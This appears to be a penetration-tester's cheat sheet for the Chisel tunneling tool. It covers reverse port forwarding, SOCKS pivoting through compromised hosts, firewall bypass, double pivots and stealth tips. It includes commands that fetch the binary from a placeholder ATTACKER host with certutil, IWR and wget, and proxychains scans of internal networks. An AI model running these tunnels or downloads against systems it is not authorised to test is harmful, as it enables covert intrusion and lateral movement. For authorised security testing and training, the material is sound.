🌶 CHISEL

INSTALLATION#

# Download binary
# https://github.com/jpillora/chisel/releases

# Go install
go install github.com/jpillora/chisel@latest

BASIC CONCEPTS#

# Server: Runs on attacker machine (or pivot host)
# Client: Runs on compromised host

# Traffic flow:
# Target <-> Chisel Client <-> Chisel Server <-> Attacker

SERVER MODE#

BASIC SERVER#

# Start server on attacker machine
chisel server -p 8080

# With reverse port forwarding enabled
chisel server -p 8080 --reverse

# With authentication
chisel server -p 8080 --auth user:password

# Background with logging
chisel server -p 8080 --reverse > chisel.log 2>&1 &

SERVER OPTIONS#

--port, -p          Listening port
--host              Listening host (default: 0.0.0.0)
--reverse           Allow reverse tunnels
--auth              User:password authentication
--keepalive         Keepalive interval
--key               Private key for TLS
--tls-cert          TLS certificate
--tls-key           TLS key
--backend           HTTP backend for camouflage

CLIENT MODE#

BASIC CLIENT#

# Connect to server
chisel client SERVER_IP:8080 TUNNELS

# With authentication
chisel client --auth user:password SERVER_IP:8080 TUNNELS

PORT FORWARDING (LOCAL)#

# Forward local port to remote
# Access localhost:8001 -> target:80
chisel client SERVER:8080 8001:TARGET:80

# Multiple forwards
chisel client SERVER:8080 8001:TARGET1:80 8002:TARGET2:443

# Forward to localhost on target
chisel client SERVER:8080 8001:127.0.0.1:3389

REVERSE PORT FORWARDING#

# Server must have --reverse flag
# Opens port on SERVER that forwards to target

# R: prefix for reverse
chisel client SERVER:8080 R:9001:127.0.0.1:80

# Attacker accesses SERVER:9001 -> Client:80
chisel client SERVER:8080 R:9001:localhost:80

# Reverse to any host from client network
chisel client SERVER:8080 R:9001:INTERNAL_HOST:445

SOCKS PROXY#

# Create SOCKS5 proxy on server
chisel client SERVER:8080 R:1080:socks

# On attacker, use socks proxy at SERVER:1080
proxychains nmap -sT TARGET

# Local SOCKS proxy
chisel client SERVER:8080 1080:socks

COMMON SCENARIOS#

SCENARIO 1: ACCESS INTERNAL WEB SERVER#

# Attacker has shell on TARGET1
# TARGET1 can reach INTERNAL_WEB:80

# On attacker:
chisel server -p 8080 --reverse

# On TARGET1:
chisel client ATTACKER:8080 R:8001:INTERNAL_WEB:80

# Access: http://ATTACKER:8001

SCENARIO 2: SOCKS PROXY FOR PIVOTING#

# Attacker has shell on pivot host
# Want to scan internal network

# On attacker:
chisel server -p 8080 --reverse

# On pivot:
chisel client ATTACKER:8080 R:1080:socks

# On attacker, configure proxychains:
# /etc/proxychains.conf: socks5 127.0.0.1 1080

# Use:
proxychains nmap -sT -Pn INTERNAL_RANGE
proxychains evil-winrm -i INTERNAL_HOST -u user -p pass

SCENARIO 3: DOUBLE PIVOT#

# Attacker -> Pivot1 -> Pivot2 -> Target

# On attacker:
chisel server -p 8080 --reverse

# On Pivot1:
chisel client ATTACKER:8080 R:9001:socks
chisel server -p 9002 --reverse

# On Pivot2:
chisel client PIVOT1:9002 R:9003:TARGET:445

# Chain proxychains

SCENARIO 4: BYPASS FIREWALL (OUTBOUND)#

# Target can only reach internet on 443

# On attacker (with valid SSL):
chisel server -p 443 --reverse

# On target:
chisel client ATTACKER:443 R:1080:socks

# Or use HTTP over port 80
chisel server -p 80 --reverse

WINDOWS USAGE#

# Transfer chisel.exe to target
certutil -urlcache -f http://ATTACKER/chisel.exe chisel.exe

# Or PowerShell
IWR -Uri http://ATTACKER/chisel.exe -OutFile chisel.exe

# Run
.\chisel.exe client ATTACKER:8080 R:1080:socks

# Background (PowerShell)
Start-Process -NoNewWindow .\chisel.exe -ArgumentList "client","ATTACKER:8080","R:1080:socks"

LINUX USAGE#

# Download
wget http://ATTACKER:8000/chisel
chmod +x chisel

# Background
./chisel client ATTACKER:8080 R:1080:socks &

# Nohup
nohup ./chisel client ATTACKER:8080 R:1080:socks &

ADVANCED OPTIONS#

TLS/HTTPS#

# Server with TLS
chisel server -p 443 --tls-cert cert.pem --tls-key key.pem --reverse

# Client connecting to TLS
chisel client https://SERVER:443 R:1080:socks

# Skip TLS verify
chisel client --tls-skip-verify https://SERVER:443 R:1080:socks

FINGERPRINT VERIFICATION#

# Server shows fingerprint on start
# Client can verify:
chisel client --fingerprint FINGERPRINT SERVER:8080 TUNNEL

KEEPALIVE#

# Maintain connection
chisel server -p 8080 --keepalive 30s
chisel client SERVER:8080 --keepalive 30s R:1080:socks

HOSTNAME HEADER#

# Set host header (useful for reverse proxies)
chisel client --hostname example.com SERVER:8080 TUNNEL

USING WITH PROXYCHAINS#

# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080

# Usage
proxychains nmap -sT -Pn TARGET
proxychains curl http://INTERNAL
proxychains ssh user@INTERNAL
proxychains evil-winrm -i TARGET -u user -p pass
proxychains crackmapexec smb INTERNAL_RANGE

STEALTH TIPS#

# Use common ports (80, 443, 8080)
# Use TLS when possible
# Limit traffic patterns
# Use authentication

TROUBLESHOOTING#

# Test connectivity
curl http://SERVER:8080

# Check if listening
netstat -tlnp | grep chisel
ss -tlnp | grep chisel

# Verbose mode
chisel client -v SERVER:8080 TUNNEL

# Check firewall
iptables -L -n

ALTERNATIVES#

# ligolo-ng    - Agent-based tunneling
# ssh          - SSH tunneling
# socat        - Socket relay
# plink        - PuTTY Link
# proxychains  - Proxy wrapper
# sshuttle     - VPN over SSH

QUICK REFERENCE#

# Server (attacker)
chisel server -p 8080 --reverse

# Client - Reverse SOCKS proxy
chisel client ATTACKER:8080 R:1080:socks

# Client - Reverse port forward
chisel client ATTACKER:8080 R:LOCAL_PORT:TARGET:REMOTE_PORT

# Client - Local port forward
chisel client ATTACKER:8080 LOCAL_PORT:TARGET:REMOTE_PORT

# With auth
chisel server -p 8080 --reverse --auth user:pass
chisel client --auth user:pass ATTACKER:8080 R:1080:socks